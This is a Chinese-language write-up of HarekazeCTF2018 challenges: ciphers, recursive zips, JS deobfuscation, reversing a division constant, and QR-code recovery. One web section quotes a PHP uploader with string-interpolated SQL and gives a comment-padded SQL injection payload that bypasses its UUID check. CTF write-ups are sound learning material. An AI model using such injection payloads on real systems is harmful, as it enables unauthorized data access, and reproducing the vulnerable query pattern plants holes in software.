HarekazeCTF2018
Warmup签到题
0x01 welcome flag
真正的签到题:
题目描述
0x02 easy problem
题目描述类似凯撒加密的ROT系列密码:
在线ROT网站:http://www.qqxiuzi.cn/bianma/ROT5-13-18-47.php
解密即得flag:
flag
0x03 recursive zip
题目描述下载后是flag.zip压缩包文件
打开压缩包又是一个flag.zip文件,一直循环
想起题目:recursive zip(递归压缩)
解压
直接Linux利用unzip指令:
while true;do unzip -o flag.zip ;done
unzip
最后出现flag.txt后Ctrl+C停止
停止解压
停止后文件夹内打开flag.txt即得flag:
flag
附上Linux下unzip命令使用方法:
Usage: unzip [-Z] [-opts[modifiers]] file[.zip] [list] [-x xlist] [-d exdir]
Default action is to extract files in list, except those in xlist, to exdir;
file[.zip] may be a wildcard. -Z => ZipInfo mode ("unzip -Z" for usage).
-p extract files to pipe, no messages -l list files (short format)
-f freshen existing files, create none -t test compressed archive data
-u update files, create if necessary -z display archive comment only
-v list verbosely/show version info -T timestamp archive to latest
-x exclude files that follow (in xlist) -d extract files into exdir
modifiers:
-n never overwrite existing files -q quiet mode (-qq => quieter)
-o overwrite files WITHOUT prompting -a auto-convert any text files
-j junk paths (do not make directories) -aa treat ALL files as text
-U use escapes for all non-ASCII Unicode -UU ignore any Unicode fields
-C match filenames case-insensitively -L make (some) names lowercase
-X restore UID/GID info -V retain VMS version numbers
-K keep setuid/setgid/tacky permissions -M pipe through "more" pager
See "unzip -hh" or unzip.txt for more help. Examples:
unzip data1 -x joe => extract all files except joe from zipfile data1.zip
unzip -p foo | more => send contents of foo.zip via pipe into program more
unzip -fo foo ReadMe => quietly replace existing ReadMe if archive file newer
Web
0x04 Obfuscated Password Checker
这次的Web题都直接给的源码:
打开网页源码,发现是JS混淆:
源码
直接在Chrome浏览器的开发工具内JS代码format:
简单的代码审计:
调试之后,注意到变量:_0x256968 以及 关键代码段 :
([function(_0x5e7bda, _0x24edfb) {
var _0x256968 = _0x991f('0x24', '\x31\x5a\x35\x49');
window[_0x991f('0x25', '\x66\x26\x74\x4a')](_0x991f('0x26', '\x34\x25\x6e\x71'), function() {
var _0x4202b3 = document[_0x991f('0x27', '\x69\x24\x4d\x51')](_0x991f('0x28', '\x39\x30\x36\x31'));
var _0x5726ad = document[_0x991f('0x29', '\x65\x61\x23\x47')](_0x991f('0x2a', '\x32\x4d\x29\x40'));
var _0x5b2986 = document[_0x991f('0x2b', '\x53\x62\x55\x38')](_0x991f('0x2c', '\x65\x61\x23\x47'));
_0x5726ad[_0x991f('0x2d', '\x48\x40\x5b\x68')](_0x991f('0x2e', '\x56\x70\x44\x24'), ()=>{
var _0x5d7c01 = _0x4202b3[_0x991f('0x2f', '\x5d\x21\x57\x37')];
_0x5b2986[_0x991f('0x30', '\x54\x5a\x30\x6f')][_0x991f('0x31', '\x77\x43\x31\x32')] = _0x991f('0x32', '\x45\x26\x77\x79');
if (_0x5d7c01 === _0x256968) {
_0x5b2986[_0x991f('0x33', '\x53\x62\x55\x38')] = _0x991f('0x34', '\x67\x4c\x31\x55');
_0x5b2986[_0x991f('0x35', '\x48\x40\x5b\x68')] = _0x991f('0x36', '\x6e\x68\x76\x7a') + _0x256968;
} else {
_0x5b2986[_0x991f('0x37', '\x63\x4f\x32\x2a')] = _0x991f('0x38', '\x56\x70\x44\x24');
_0x5b2986[_0x991f('0x39', '\x59\x5d\x55\x39')] = _0x991f('0x3a', '\x69\x24\x4d\x51');
}
}
, ![]);
}, ![]);
}
]));
调试之后即得flag:
flag
0x05 Sokosoko Secure Uploader
下载下来是一个网页的源码和一个加密后的PNG图片文件:
文件
看一下提示:
Description
打开网页:
网页
我们需要上传flag.png.encrypted并构造一个UUID(开头为"9e5a"),来最终获得解密后的flag.png文件
代码审计:
注意到decrypt.php的这部分:
$uuid = $_POST['uuid'];
if (!is_string($uuid) || !is_uuid($uuid)) {
die('invalid UUID');
}
$data = file_get_contents($_FILES['file']['tmp_name']);
$pdo = new PDO('sqlite:key.db');
$stmt = $pdo->query("SELECT key FROM decryption_key WHERE id = '$uuid'");
$res = $stmt->fetch();
显然存在SQL注入漏洞
我们需要构造出一个语句使得最后的SQL查询语句类似于:
SELECT key FROM decryption_key WHERE id LIKE '9e5a%'
备注SQL语句中的一个规则:
'_a_' 三位且中间字母是a的
'_a' 两位且结尾字母是a的
'a_' 两位且开头字母是a的
'%a' 以a结尾的数据
'a%' 以a开头的数据
'%a%' 含有a的数据
构造:
'OR id LIKE'9e5a%
并上传flag.png.encrypted
结果无法绕过
猜测是过滤问题,重新看一下代码:
发现function.php下有点问题:
function is_uuid($str) {
if (strlen($str) !== 36) {
return false;
}
if ($str[8] !== '-' or $str[13] !== '-' or $str[18] !== '-' or $str[23] !== '-') {
return false;
}
return true;
}
这段代码限制了UUID的字符规则
重新构造语句即可:
'OR id/*-aaaa-aaaa-aaaa-*/LIKE'9e5a%
同时上传 flag.png.encrypted
即可得到decrypt后的flag.png
打开即得flag:
HarekazeCTF{k41k4n_j1kk4n_j1n615uk4n}
Reserve
0x06 Div N
看一下Description:
$ cat foo.c
long long div(long long x) {
return x / N;
}
$ gcc -DN=$N -c -O2 foo.c
$ objdump -d foo.o
foo.o: file format elf64-x86-64
Disassembly of section .text:
0000000000000000
:
0: 48 89 f8 mov %rdi,%rax
3: 48 ba 01 0d 1a 82 9a movabs $0x49ea309a821a0d01,%rdx
a: 30 ea 49
d: 48 c1 ff 3f sar $0x3f,%rdi
11: 48 f7 ea imul %rdx
14: 48 c1 fa 30 sar $0x30,%rdx
18: 48 89 d0 mov %rdx,%rax
1b: 48 29 f8 sub %rdi,%rax
1e: c3 retq
$ echo “HarekazeCTF{$N}” > /dev/null
很显然
直接利用二分法查找,来返回N即可
参数N即为所求Flag
代码如下:
#include <iostream>
using namespace std;
int main() {
char function[] = {"\x48\x89\xf8\x48\xba\x01\x0d\x1a\x82\x9a\x30\xea\x49\x48\xc1\xff\x3f\x48\xf7\xea\x48\xc1\xfa\x30\x48\x89\xd0\x48\x29\xf8\xc3"};
long long (*ptr)(long long) = (long long (*)(long long)) function;
long long a = 0;
long long b = 0x7FFFFFFFFFFFFFFF;
while (b > a+1)
{long long m = (a + b) / 2;
if (ptr(m)> 0) b = m;
else a = m;
}
cout<<a<<endl<<b<<endl;
}
命令行编译一下:
g++ -fno-stack-protector -z execstack flag.cpp
(记得使用 -fno-stack-protector -z execstack
以防止程序段错误的发生
上面的命令行≈获取内存的执行权限)
运行即得flag:
最终flag即为:
HarekazeCTF{974873638438446}
MISC
0x07 lost_data
这个题前期比较简单
后期就可能需要一点脑洞
题目给的是一个zip压缩包:
打开后又出现两个压缩包:
data.zip和xxxxx.zip
xxxxx.zip打开需要密码
只好先看看data.zip(很少出现直接需要暴力破解的MISC)
data.zip中发现文件:
没有格式,WinHex下查看,发现三个文件头信息相同:
文件头信息
显然三个都是PNG文件
把三个文件的文件头都改成: 89 50 4E 47
保存成png文件后发现是三个二维码:
二维码
用在线网站扫一下:https://online-barcode-reader.inliteresearch.com/
1.png
2.png
3.png
连接起来即:
HarekazeCTF{Y0u_G0t_FuNNy_F1ag_?DF?_T?_is_xxxxx}
提交后不对,反应过来flag中的 “xxxxx” 需要根据另一个xxxxx.zip文件来替换
这里有一个小脑洞:
重新看一下flag:
注意到问号前后:“DF” 和 “T”
想起了Linux下的df命令:
-a, --all include pseudo, duplicate, inaccessible file systems
-B, --block-size=SIZE scale sizes by SIZE before printing them; e.g.,
'-BM' prints sizes in units of 1,048,576 bytes;
see SIZE format below
-h, --human-readable print sizes in powers of 1024 (e.g., 1023M)
-H, --si print sizes in powers of 1000 (e.g., 1.1G)
-i, --inodes 显示inode 信息而非块使用量
-k 即--block-size=1K
-l, --local 只显示本机的文件系统
--no-sync 取得使用量数据前不进行同步动作(默认)
--output[=FIELD_LIST] use the output format defined by FIELD_LIST,
or print all fields if FIELD_LIST is omitted.
-P, --portability use the POSIX output format
--sync invoke sync before getting usage info
--total elide all entries insignificant to available space,
and produce a grand total
-t, --type=TYPE limit listing to file systems of type TYPE
-T, --print-type print file system type
-x, --exclude-type=TYPE limit listing to file systems not of type TYPE
-v (ignored)
--help 显示此帮助信息并退出
--version 显示版本信息并退出
看起来应该是 “df -t ” 命令
即:不需要破解xxxxx.zip,只要知道其内的file system type即可
看一下xxxxx.zip中的加密文件(不输入密码,直接查看一下其中xxxxx文件夹中加密的文件):
显然是FAT文件系统
看到有512个文件,每个解压后都是1KB文件
应该就是FAT16了
最终flag即为:
HarekazeCTF{Y0u_G0t_FuNNy_F1ag_?DF?_T?_is_FAT16}
(其他题目源码or写的脚本删了,就不写了)
网友评论